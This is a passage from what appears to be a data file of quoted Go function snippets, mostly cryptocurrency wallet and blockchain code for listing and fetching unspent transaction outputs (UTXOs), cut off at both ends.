block,\n\t\t\t\tTime: br.Time,\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\treturn visitor(k, &cred)\n\t}); err != nil {\n\t\tif er.IsLoopBreak(err) || Err.Is(err) {\n\t\t\treturn err\n\t\t}\n\t\treturn storeError(ErrDatabase, \"failed iterating unspent bucket\", err)\n\t}\n\n\t// There's no easy way to do ForEachBeginningWith because these entries\n\t// will appear out of order with the main unspents, but the amount of unconfirmed\n\t// credits will tend to be small anyway so we might as well just send them all\n\t// if the iterator gets to this stage.\n\tif err := ns.NestedReadBucket(bucketUnminedCredits).ForEach(func(k, v []byte) er.R {\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip to next unmined credit.\n\t\t\treturn nil\n\t\t}\n\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): Reading/parsing the entire transaction record\n\t\t// just for the output amount and script can be avoided.\n\t\trecVal := existsRawUnmined(ns, op.Hash[:])\n\t\tvar rec TxRecord\n\t\terr = readRawTxRecord(&op.Hash, recVal, &rec)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: Block{Height: -1},\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\t// Use the final key to come from the main search loop so that further calls\n\t\t// will arrive here as quickly as possible.\n\t\treturn visitor(lastKey, &cred)\n\t}); err != nil {\n\t\tif er.IsLoopBreak(err) || Err.Is(err) {\n\t\t\treturn err\n\t\t}\n\t\treturn storeError(ErrDatabase, \"failed iterating unmined credits bucket\", err)\n\t}\n\n\treturn nil\n}", "func (w *Wallet) ListUnspent(minconf, maxconf int32,\n\taddresses map[string]struct{}) ([]*btcjson.ListUnspentResult, er.R) {\n\n\tvar results []*btcjson.ListUnspentResult\n\terr := walletdb.View(w.db, func(tx walletdb.ReadTx) er.R {\n\t\taddrmgrNs := tx.ReadBucket(waddrmgrNamespaceKey)\n\t\ttxmgrNs := tx.ReadBucket(wtxmgrNamespaceKey)\n\n\t\tsyncBlock := w.Manager.SyncedTo()\n\n\t\tfilter := len(addresses) != 0\n\t\tunspent, err := w.TxStore.GetUnspentOutputs(txmgrNs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsort.Sort(sort.Reverse(creditSlice(unspent)))\n\n\t\tdefaultAccountName := \"default\"\n\n\t\tresults = make([]*btcjson.ListUnspentResult, 0, len(unspent))\n\t\tfor i := range unspent {\n\t\t\toutput := unspent[i]\n\n\t\t\t// Outputs with fewer confirmations than the minimum or more\n\t\t\t// confs than the maximum are excluded.\n\t\t\tconfs := confirms(output.Height, syncBlock.Height)\n\t\t\tif confs < minconf || confs > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Only mature coinbase outputs are included.\n\t\t\tif output.FromCoinBase {\n\t\t\t\ttarget := int32(w.ChainParams().CoinbaseMaturity)\n\t\t\t\tif !confirmed(target, output.Height, syncBlock.Height) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Exclude locked outputs from the result set.\n\t\t\tif w.LockedOutpoint(output.OutPoint) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Lookup the associated account for the output. Use the\n\t\t\t// default account name in case there is no associated account\n\t\t\t// for some reason, although this should never happen.\n\t\t\t//\n\t\t\t// This will be unnecessary once transactions and outputs are\n\t\t\t// grouped under the associated account in the db.\n\t\t\tacctName := defaultAccountName\n\t\t\tsc, addrs, _, err := txscript.ExtractPkScriptAddrs(\n\t\t\t\toutput.PkScript, w.chainParams)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tsmgr, acct, err := w.Manager.AddrAccount(addrmgrNs, addrs[0])\n\t\t\t\tif err == nil {\n\t\t\t\t\ts, err := smgr.AccountName(addrmgrNs, acct)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tacctName = s\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tinclude:\n\t\t\t// At the moment watch-only addresses are not supported, so all\n\t\t\t// recorded outputs that are not multisig are \"spendable\".\n\t\t\t// Multisig outputs are only \"spendable\" if all keys are\n\t\t\t// controlled by this wallet.\n\t\t\t//\n\t\t\t// TODO: Each case will need updates when watch-only addrs\n\t\t\t// is added. For P2PK, P2PKH, and P2SH, the address must be\n\t\t\t// looked up and not be watching-only. For multisig, all\n\t\t\t// pubkeys must belong to the manager with the associated\n\t\t\t// private key (currently it only checks whether the pubkey\n\t\t\t// exists, since the private key is required at the moment).\n\t\t\tvar spendable bool\n\t\tscSwitch:\n\t\t\tswitch sc {\n\t\t\tcase txscript.PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.PubKeyTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0ScriptHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.WitnessV0PubKeyHashTy:\n\t\t\t\tspendable = true\n\t\t\tcase txscript.MultiSigTy:\n\t\t\t\tfor _, a := range addrs {\n\t\t\t\t\t_, err := w.Manager.Address(addrmgrNs, a)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif waddrmgr.ErrAddressNotFound.Is(err) {\n\t\t\t\t\t\tbreak scSwitch\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tspendable = true\n\t\t\t}\n\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxID: output.OutPoint.Hash.String(),\n\t\t\t\tVout: output.OutPoint.Index,\n\t\t\t\tAccount: acctName,\n\t\t\t\tScriptPubKey: hex.EncodeToString(output.PkScript),\n\t\t\t\tAmount: output.Amount.ToBTC(),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t\tSpendable: spendable,\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t\treturn nil\n\t})\n\treturn results, err\n}", "func (u UTXOSet) FindUnspentTransactions(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.Blockchain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through UTXOS prefixes\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\t// get the value of each utxo prefixed item\n\t\t\tv := valueHash(it.Item())\n\t\t\touts := DeserializeOutputs(v)\n\n\t\t\t// iterate through each output, check to see if it is locked by the provided hash address\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\thandle(err)\n\n\treturn UTXOs\n}", "func (s *Client) ListUnspent(ctx context.Context, scripthash string) ([]*ListUnspentResult, error) {\n\tvar resp ListUnspentResp\n\n\terr := s.request(ctx, \"blockchain.scripthash.listunspent\", []interface{}{scripthash}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp.Result, err\n}", "func (bc *BlockChain) FindUnspentTransactions(addr string) []Transaction {\n\tvar unspentTXs []Transaction\n\tspentTXOutputs := make(map[string][]int)\n\titerator := bc.Iterator()\n\n\tfor {\n\t\t_block := iterator.Next()\n\n\t\tfor _, tx := range _block.Transactions {\n\t\t\ttxID := hex.EncodeToString(tx.ID)\n\n\t\tOutputs:\n\t\t\tfor outIdx, out := range tx.VOut {\n\t\t\t\tif spentTXOutputs[txID] != nil {\n\t\t\t\t\tfor _, spentOut := range spentTXOutputs[txID] {\n\t\t\t\t\t\tif spentOut == outIdx {\n\t\t\t\t\t\t\tcontinue Outputs\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\t\tunspentTXs = append(unspentTXs, *tx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !tx.isCoinBaseTx() {\n\t\t\t\tfor _, in := range tx.VIn {\n\t\t\t\t\tif in.CanUnlockOutputWith(addr) {\n\t\t\t\t\t\tinTxID := hex.EncodeToString(in.TxID)\n\t\t\t\t\t\tspentTXOutputs[inTxID] = append(spentTXOutputs[inTxID], in.VOut)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(_block.Prev) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn unspentTXs\n}", "func (s *Store) UnspentOutputs(ns walletdb.ReadBucket) ([]Credit, error) {\n\tvar unspent []Credit\n\n\tvar op wire.OutPoint\n\tvar block Block\n\terr := ns.NestedReadBucket(bucketUnspent).ForEach(func(k, v []byte) error {\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip this k/v pair.\n\t\t\treturn nil\n\t\t}\n\n\t\terr = readUnspentBlock(v, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tblockTime, err := fetchBlockTime(ns, block.Height)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// TODO(jrick): reading the entire transaction should\n\t\t// be avoidable. Creating the credit only requires the\n\t\t// output amount and pkScript.\n\t\trec, err := fetchTxRecord(ns, &op.Hash, &block)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to retrieve transaction %v: \"+\n\t\t\t\t\"%v\", op.Hash, err)\n\t\t}\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: block,\n\t\t\t\tTime: blockTime,\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\tunspent = append(unspent, cred)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tif _, ok := err.(Error); ok {\n\t\t\treturn nil, err\n\t\t}\n\t\tstr := \"failed iterating unspent bucket\"\n\t\treturn nil, storeError(ErrDatabase, str, err)\n\t}\n\n\terr = ns.NestedReadBucket(bucketUnminedCredits).ForEach(func(k, v []byte) error {\n\t\tif err := readCanonicalOutPoint(k, &op); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip to next unmined credit.\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): Reading/parsing the entire transaction record\n\t\t// just for the output amount and script can be avoided.\n\t\trecVal := existsRawUnmined(ns, op.Hash[:])\n\t\tvar rec TxRecord\n\t\terr = readRawTxRecord(&op.Hash, recVal, &rec)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to retrieve raw transaction \"+\n\t\t\t\t\"%v: %v\", op.Hash, err)\n\t\t}\n\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: Block{Height: -1},\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\tunspent = append(unspent, cred)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tif _, ok := err.(Error); ok {\n\t\t\treturn nil, err\n\t\t}\n\t\tstr := \"failed iterating unmined credits bucket\"\n\t\treturn nil, storeError(ErrDatabase, str, err)\n\t}\n\n\treturn unspent, nil\n}", "func (m *DisputeResolution_Payout_Output) GetAmount() uint64 {\n\tif m != nil {\n\t\treturn m.Amount\n\t}\n\treturn 0\n}", "func (s *RPCChainIO) GetUtxo(op *wire.OutPoint, pkScript []byte,\n\theightHint uint32, cancel <-chan struct{}) (*wire.TxOut, error) {\n\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif s.chain == nil {\n\t\treturn nil, ErrUnconnected\n\t}\n\n\ttxout, err := s.chain.GetTxOut(context.TODO(), &op.Hash, op.Index, op.Tree, false)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if txout == nil {\n\t\treturn nil, ErrOutputSpent\n\t}\n\n\tpkScript, err = hex.DecodeString(txout.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Sadly, gettxout returns the output value in DCR instead of atoms.\n\tamt, err := dcrutil.NewAmount(txout.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &wire.TxOut{\n\t\tValue: int64(amt),\n\t\tPkScript: pkScript,\n\t}, nil\n}", "func (api *API) consensusGetUnspentCoinOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.CoinOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetCoinOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentCoinOutput{Output: output})\n}", "func (c *Client) AddressUnspentTransactionDetails(ctx context.Context, address string, maxTransactions int) (history AddressHistory, err error) {\n\n\t// Get the address UTXO history\n\tvar utxos AddressHistory\n\tif utxos, err = c.AddressUnspentTransactions(ctx, address); err != nil {\n\t\treturn\n\t} else if len(utxos) == 0 {\n\t\treturn\n\t}\n\n\t// Do we have a \"custom max\" amount?\n\tif maxTransactions > 0 {\n\t\ttotal := len(utxos)\n\t\tif total > maxTransactions {\n\t\t\tutxos = utxos[:total-(total-maxTransactions)]\n\t\t}\n\t}\n\n\t// Break up the UTXOs into batches\n\tvar batches []AddressHistory\n\tchunkSize := MaxTransactionsUTXO\n\n\tfor i := 0; i < len(utxos); i += chunkSize {\n\t\tend := i + chunkSize\n\n\t\tif end > len(utxos) {\n\t\t\tend = len(utxos)\n\t\t}\n\n\t\tbatches = append(batches, utxos[i:end])\n\t}\n\n\t// todo: use channels/wait group to fire all requests at the same time (rate limiting)\n\n\t// Loop Batches - and get each batch (multiple batches of MaxTransactionsUTXO)\n\tfor _, batch := range batches {\n\n\t\ttxHashes := new(TxHashes)\n\n\t\t// Loop the batch (max MaxTransactionsUTXO)\n\t\tfor _, utxo := range batch {\n\n\t\t\t// Append to the list to send and return\n\t\t\ttxHashes.TxIDs = append(txHashes.TxIDs, utxo.TxHash)\n\t\t\thistory = append(history, utxo)\n\t\t}\n\n\t\t// Get the tx details (max of MaxTransactionsUTXO)\n\t\tvar txList TxList\n\t\tif txList, err = c.BulkTransactionDetails(ctx, txHashes); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Add to the history list\n\t\tfor index, tx := range txList {\n\t\t\tfor _, utxo := range history {\n\t\t\t\tif utxo.TxHash == tx.TxID {\n\t\t\t\t\tutxo.Info = txList[index]\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func (c *Client) AddressUnspentTransactions(ctx context.Context, address string) (history AddressHistory, err error) {\n\n\tvar resp string\n\t// https://api.whatsonchain.com/v1/bsv/<network>/address/<address>/unspent\n\tif resp, err = c.request(\n\t\tctx,\n\t\tfmt.Sprintf(\"%s%s/address/%s/unspent\", apiEndpoint, c.Network(), address),\n\t\thttp.MethodGet, nil,\n\t); err != nil {\n\t\treturn\n\t}\n\tif len(resp) == 0 {\n\t\treturn nil, ErrAddressNotFound\n\t}\n\terr = json.Unmarshal([]byte(resp), &history)\n\treturn\n}", "func (b *Bitcoind) GetTxOutsetInfo() (txOutSet TransactionOutSet, err error) {\n\tr, err := b.client.call(\"gettxoutsetinfo\", nil)\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &txOutSet)\n\treturn\n}", "func (b *Bitcoind) ListUnspent(minconf, maxconf uint32) (transactions []Transaction, err error) {\n\tif maxconf > 999999 {\n\t\tmaxconf = 999999\n\t}\n\n\tr, err := b.client.call(\"listunspent\", []interface{}{minconf, maxconf})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transactions)\n\treturn\n}", "func (chain *BlockChain) FindUnspentTransactions(address string) []Transaction {\n\tvar unspentTxs []Transaction\n\n\tspentTxOs := make(map[string][]int)\n\n\titer := chain.Iterator()\n\n\tfor {\n\t\tblock := iter.Next()\n\n\t\tfor _, tx := range block.Transactions {\n\t\t\ttxID := hex.EncodeToString(tx.ID)\n\n\t\tOutputs:\n\t\t\tfor outIdx, out := range tx.Outputs {\n\t\t\t\tif spentTxOs[txID] != nil {\n\t\t\t\t\tfor _, spentOut := range spentTxOs[txID] {\n\t\t\t\t\t\tif spentOut == outIdx {\n\t\t\t\t\t\t\tcontinue Outputs\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif out.CanBeUnlocked(address) {\n\t\t\t\t\tunspentTxs = append(unspentTxs, *tx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif tx.IsCoinbase() == false {\n\t\t\t\tfor _, in := range tx.Inputs {\n\t\t\t\t\tif in.CanUnlock(address) {\n\t\t\t\t\t\tinTxID := hex.EncodeToString(in.ID)\n\n\t\t\t\t\t\tspentTxOs[inTxID] = append(spentTxOs[inTxID], in.Out)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(block.PrevHash) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn unspentTxs\n}", "func ListUnspentWithAsset(ctx context.Context, rpcClient RpcClient, filter []Address, asset string) ([]TransactionInfo, error) {\n\treturn ListUnspentMinMaxAddressesAndOptions(ctx, rpcClient, AddressInfoMinConfirmation, AddressInfoMaxConfirmation, filter, ListUnspentOption{\n\t\tAsset: asset,\n\t})\n}", "func (c createTransactionPresenter) Output(transaction domain.Transaction) usecase.CreateTransactionOutput {\n\treturn usecase.CreateTransactionOutput{\n\t\tID: transaction.ID(),\n\t\tAccountID: transaction.AccountID(),\n\t\tOperation: usecase.CreateTransactionOperationOutput{\n\t\t\tID: transaction.Operation().ID(),\n\t\t\tDescription: transaction.Operation().Description(),\n\t\t\tType: transaction.Operation().Type(),\n\t\t},\n\t\tAmount: transaction.Amount(),\n\t\tBalance: transaction.Balance(),\n\t\tCreatedAt: transaction.CreatedAt().Format(time.RFC3339),\n\t}\n}", "func GetUnspentOutputCombination(unspentOutput []*transactions.UnspentTransactionOutput, totalAmount float64) ([]*transactions.UnspentTransactionOutput, float64) {\n\n\t// find the combination that the most closely matches the total amount\n\tselectedUnspentOutputs := getBestCombination(unspentOutput, totalAmount)\n\n\t// get the amount from unspent outputs in found combination of them\n\tamountFound := 0.0\n\tfor _, selectedUnspentOutput := range selectedUnspentOutputs {\n\t\tamountFound += selectedUnspentOutput.Amount\n\t}\n\n\t// calculate the leftover amount, don't take more less than 0\n\tleftoverAmount := math.Max(amountFound-totalAmount, 0)\n\n\t// return\n\treturn selectedUnspentOutputs, leftoverAmount\n}", "func (l *LedgerState) SnapshotUTXO() (snapshot *ledgerstate.Snapshot) {\n\t// The following parameter should be larger than the max allowed timestamp variation, and the required time for confirmation.\n\t// We can snapshot this far in the past, since global snapshots dont occur frequent and it is ok to ignore the last few minutes.\n\tminAge := 120 * time.Second\n\tsnapshot = &ledgerstate.Snapshot{\n\t\tTransactions: make(map[ledgerstate.TransactionID]ledgerstate.Record),\n\t}\n\n\tstartSnapshot := time.Now()\n\tcopyLedgerState := l.Transactions() // consider that this may take quite some time\n\n\tfor _, transaction := range copyLedgerState {\n\t\t// skip unconfirmed transactions\n\t\tinclusionState, err := l.TransactionInclusionState(transaction.ID())\n\t\tif err != nil || inclusionState != ledgerstate.Confirmed {\n\t\t\tcontinue\n\t\t}\n\t\t// skip transactions that are too recent before startSnapshot\n\t\tif startSnapshot.Sub(transaction.Essence().Timestamp()) < minAge {\n\t\t\tcontinue\n\t\t}\n\t\tunspentOutputs := make([]bool, len(transaction.Essence().Outputs()))\n\t\tincludeTransaction := false\n\t\tfor i, output := range transaction.Essence().Outputs() {\n\t\t\tl.CachedOutputMetadata(output.ID()).Consume(func(outputMetadata *ledgerstate.OutputMetadata) {\n\t\t\t\tif outputMetadata.ConfirmedConsumer() == ledgerstate.GenesisTransactionID { // no consumer yet\n\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\tincludeTransaction = true\n\t\t\t\t} else {\n\t\t\t\t\ttx := copyLedgerState[outputMetadata.ConfirmedConsumer()]\n\t\t\t\t\t// ignore consumers that are not confirmed long enough or even in the future.\n\t\t\t\t\tif startSnapshot.Sub(tx.Essence().Timestamp()) < minAge {\n\t\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\t\tincludeTransaction = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t\t// include only transactions with at least one unspent output\n\t\tif includeTransaction {\n\t\t\tsnapshot.Transactions[transaction.ID()] = ledgerstate.Record{\n\t\t\t\tEssence: transaction.Essence(),\n\t\t\t\tUnlockBlocks: transaction.UnlockBlocks(),\n\t\t\t\tUnspentOutputs: unspentOutputs,\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO ??? due to possible race conditions we could add a check for the consistency of the UTXO snapshot\n\n\treturn snapshot\n}", "func (dcr *DCRBackend) utxo(txHash *chainhash.Hash, vout uint32, redeemScript []byte) (*UTXO, error) {\n\ttxOut, verboseTx, pkScript, err := dcr.getTxOutInfo(txHash, vout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinputNfo, err := dexdcr.InputInfo(pkScript, redeemScript, chainParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tscriptType := inputNfo.ScriptType\n\n\t// If it's a pay-to-script-hash, extract the script hash and check it against\n\t// the hash of the user-supplied redeem script.\n\tif scriptType.IsP2SH() {\n\t\tscriptHash, err := dexdcr.ExtractScriptHashByType(scriptType, pkScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"utxo error: %v\", err)\n\t\t}\n\t\tif !bytes.Equal(dcrutil.Hash160(redeemScript), scriptHash) {\n\t\t\treturn nil, fmt.Errorf(\"script hash check failed for utxo %s,%d\", txHash, vout)\n\t\t}\n\t}\n\n\tblockHeight := uint32(verboseTx.BlockHeight)\n\tvar blockHash chainhash.Hash\n\tvar lastLookup *chainhash.Hash\n\t// UTXO is assumed to be valid while in mempool, so skip the validity check.\n\tif txOut.Confirmations > 0 {\n\t\tif blockHeight == 0 {\n\t\t\treturn nil, fmt.Errorf(\"no raw transaction result found for tx output with \"+\n\t\t\t\t\"non-zero confirmation count (%s has %d confirmations)\", txHash, txOut.Confirmations)\n\t\t}\n\t\tblk, err := dcr.getBlockInfo(verboseTx.BlockHash)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblockHeight = blk.height\n\t\tblockHash = blk.hash\n\t} else {\n\t\t// Set the lastLookup to the current tip.\n\t\ttipHash := dcr.blockCache.tipHash()\n\t\tif tipHash != zeroHash {\n\t\t\tlastLookup = &tipHash\n\t\t}\n\t}\n\n\t// Coinbase, vote, and revocation transactions all must mature before\n\t// spending.\n\tvar maturity int64\n\tif scriptType.IsStake() || txOut.Coinbase {\n\t\tmaturity = int64(chainParams.CoinbaseMaturity)\n\t}\n\tif txOut.Confirmations < maturity {\n\t\treturn nil, immatureTransactionError\n\t}\n\n\ttx, err := dcr.transaction(txHash, verboseTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error fetching verbose transaction data: %v\", err)\n\t}\n\n\treturn &UTXO{\n\t\tdcr: dcr,\n\t\ttx: tx,\n\t\theight: blockHeight,\n\t\tblockHash: blockHash,\n\t\tvout: vout,\n\t\tmaturity: int32(maturity),\n\t\tscriptType: scriptType,\n\t\tpkScript: pkScript,\n\t\tredeemScript: redeemScript,\n\t\tnumSigs: inputNfo.ScriptAddrs.NRequired,\n\t\t// The total size associated with the wire.TxIn.\n\t\tspendSize: inputNfo.SigScriptSize + dexdcr.TxInOverhead,\n\t\tvalue: toAtoms(txOut.Value),\n\t\tlastLookup: lastLookup,\n\t}, nil\n}", "func (am *AccountManager) ListUnspent(minconf, maxconf int,\n\taddresses map[string]bool) ([]*btcjson.ListUnspentResult, error) {\n\n\tbs, err := GetCurBlock()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilter := len(addresses) != 0\n\n\tvar results []*btcjson.ListUnspentResult\n\tfor _, a := range am.AllAccounts() {\n\t\tunspent, err := a.TxStore.UnspentOutputs()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, credit := range unspent {\n\t\t\tconfs := credit.Confirmations(bs.Height)\n\t\t\tif int(confs) < minconf || int(confs) > maxconf {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t_, addrs, _, _ := credit.Addresses(cfg.Net())\n\t\t\tif filter {\n\t\t\t\tfor _, addr := range addrs {\n\t\t\t\t\t_, ok := addresses[addr.EncodeAddress()]\n\t\t\t\t\tif ok {\n\t\t\t\t\t\tgoto include\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\tinclude:\n\t\t\tresult := &btcjson.ListUnspentResult{\n\t\t\t\tTxId: credit.Tx().Sha().String(),\n\t\t\t\tVout: credit.OutputIndex,\n\t\t\t\tAccount: a.Name(),\n\t\t\t\tScriptPubKey: hex.EncodeToString(credit.TxOut().PkScript),\n\t\t\t\tAmount: credit.Amount().ToUnit(btcutil.AmountBTC),\n\t\t\t\tConfirmations: int64(confs),\n\t\t\t}\n\n\t\t\t// BUG: this should be a JSON array so that all\n\t\t\t// addresses can be included, or removed (and the\n\t\t\t// caller extracts addresses from the pkScript).\n\t\t\tif len(addrs) > 0 {\n\t\t\t\tresult.Address = addrs[0].EncodeAddress()\n\t\t\t}\n\n\t\t\tresults = append(results, result)\n\t\t}\n\t}\n\n\treturn results, nil\n}", "func (bc *BlockChain) FindUTXO(addr string) []TXOutput {\n\tvar UTXOs []TXOutput\n\tunspentTransactions := bc.FindUnspentTransactions(addr)\n\n\tfor _, tx := range unspentTransactions {\n\t\tfor _, out := range tx.VOut {\n\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTXOs\n}", "func (chain *BlockChain) FindUTxO(address string) []TxOutput {\n\tvar UTxOs []TxOutput\n\n\tunspentTransaction := chain.FindUnspentTransactions(address)\n\n\tfor _, tx := range unspentTransaction {\n\t\tfor _, out := range tx.Outputs {\n\t\t\tif out.CanBeUnlocked(address) {\n\t\t\t\tUTxOs = append(UTxOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTxOs\n}", "func (addressManager *AddressManager) LastUnspentAddress() address.Address {\n\treturn addressManager.Address(addressManager.lastUnspentAddressIndex)\n}", "func GetOutputInfoUnchecked(c *xgb.Conn, Output Output, ConfigTimestamp xproto.Timestamp) GetOutputInfoCookie {\n\tc.ExtLock.RLock()\n\tdefer 